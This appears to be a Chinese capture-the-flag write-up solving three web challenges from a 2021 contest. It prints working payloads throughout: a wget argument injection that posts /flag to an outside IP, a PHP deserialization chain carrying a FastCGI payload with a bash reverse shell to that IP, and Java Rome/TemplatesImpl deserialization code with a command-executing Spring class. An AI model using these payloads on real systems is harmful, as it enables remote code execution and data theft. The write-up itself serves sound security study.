【Web】陇原战“疫“2021网络安全大赛题解-编程知识

CheckIN

eaaasyphp

EasyJaba

CheckIN

拿到附件，贴出关键代码

func getController(c *gin.Context) {cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)err := cmd.Run()if err != nil {fmt.Println("error: ", err)}c.String(http.StatusOK, "Nothing")
}router.GET("/wget", getController)

wget也可以外带数据，详见贴出的文章

哈？命令注入外带数据的姿势还可以这么骚？-腾讯云开发者社区-腾讯云

/wget路由无需鉴权，可直接打

payload:

/wget?argv=Z3r4y&argv=--post-file&argv=/flag&argv=http://124.222.136.33:1337

监听，接收到外带的数据

eaaasyphp

题目给到源码

<?phpclass Check {public static $str1 = false;public static $str2 = false;
}class Esle {public function __wakeup(){Check::$str1 = true;}
}class Hint {public function __wakeup(){$this->hint = "no hint";}public function __destruct(){if(!$this->hint){$this->hint = "phpinfo";($this->hint)();}  }
}class Bunny {public function __toString(){if (Check::$str2) {if(!$this->data){$this->data = $_REQUEST['data'];}file_put_contents($this->filename, $this->data);} else {throw new Error("Error");}}
}class Welcome {public function __invoke(){Check::$str2 = true;return "Welcome" . $this->username;}
}class Bypass {public function __destruct(){if (Check::$str1) {($this->str4)();} else {throw new Error("Error");}}
}if (isset($_GET['code'])) {unserialize($_GET['code']);
} else {highlight_file(__FILE__);
}

瞪眼看链子

Bypass::__destruct->Welcome::__invoke->Bunny::__toString->file_put_contents($this->filename, $this->data);

经过尝试靶机没权限写文件，于是考虑file_put_contents打fastcgi

Fastcgi 协议分析与 PHP-FPM 攻击方法

拿gopherus生成payload

起一个恶意ftp服务器

exp:

<?phpclass Check {public static $str1 = false;public static $str2 = false;
}class Esle {// __wakeup()，执行unserialize()时，先会调用这个函数public function __wakeup(){Check::$str1 = true;}
}class Bunny {public function __toString(){echo "__toString";if (Check::$str2) {if(!$this->data){$this->data = $_REQUEST['data'];}// 利用点// Bypass::__destruct->Welcome::__invoke->Bunny::__toStringfile_put_contents($this->filename, $this->data);} else {throw new Error("Error");}}
}class Welcome {// __invoke()，调用函数的方式调用一个对象时的回应方法public function __invoke(){echo "__invoke";Check::$str2 = true;return "Welcome" . $this->username;}
}class Bypass {public function __construct(){// 自己构造$this->esle = new Esle();}public function __destruct(){echo "__destruct";if (Check::$str1) {// $this->str4 Welcome($this->str4)();} else {throw new Error("Error");}}
}$b1 = new Bunny();
$b1->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/124.222.136.33/1337%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
$b1->filename = "ftp://124.222.136.33:1338/test";$we = new Welcome();
$we->username = $b1;$by = new Bypass();
$by->str4 = $we;echo urlencode(serialize($by));

payload:

?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22esle%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A4%3A%22data%22%3Bs%3A416%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F124.222.136.33%2F1337+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3Bs%3A8%3A%22filename%22%3Bs%3A30%3A%22ftp%3A%2F%2F124.222.136.33%3A1338%2Ftest%22%3B%7D%7D%7D__destruct

监听，反弹shell，拿flag

EasyJaba

靶机不出网，那就是打加载恶意字节码呗

题目有rome依赖和spring依赖

/BackDoor路由下存在反序列化打入点

ban掉了HashMap和BadAttributeValueExpException

HashMap类的作用是触发hashCode，而BadAttributeValueExpException类的作用是触发toString，看本题的源码，后续可以直接调用object.toString，上帝在关上一扇门的同时又开了一扇窗。

所以可以直接调toStringBean打Rome反序列化

EXP.java

package com.lyzy.ctf.ezjaba.exp;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;public class EXP {public static byte[] serialize(Object o) throws Exception{try(ByteArrayOutputStream baout = new ByteArrayOutputStream();ObjectOutputStream oout = new ObjectOutputStream(baout)){oout.writeObject(o);return baout.toByteArray();}}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {//恶意字节码byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\21135\\Desktop\\das\\target\\classes\\com\\lyzy\\ctf\\ezjaba\\exp\\Evil.class"));TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_name","xxx");  //不能设置为null，不然返回nullsetFieldValue(templates,"_class",null);setFieldValue(templates,"_bytecodes",new byte[][]{code});setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
//        toStringBean.toString();byte[] aaa = serialize(toStringBean);System.out.println(Base64.getEncoder().encodeToString(aaa));}
}

恶意类懒得注内存马，直接打spring回显类

Evil.java

package com.lyzy.ctf.ezjaba.exp;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;public class Evil extends AbstractTranslet
{@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception{Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getResponse");Method m1 = c.getMethod("getRequest");Object resp = m.invoke(o);Object req = m1.invoke(o); // HttpServletRequestMethod getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);getHeader.setAccessible(true);getWriter.setAccessible(true);Object writer = getWriter.invoke(resp);String cmd = (String)getHeader.invoke(req, "cmd");String[] commands = new String[3];String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";if (System.getProperty("os.name").toUpperCase().contains("WIN")) {commands[0] = "cmd";commands[1] = "/c";} else {commands[0] = "/bin/sh";commands[1] = "-c";}commands[2] = cmd;writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());writer.getClass().getDeclaredMethod("flush").invoke(writer);writer.getClass().getDeclaredMethod("close").invoke(writer);}
}

打入，直接回显命令执行结果，拿到flag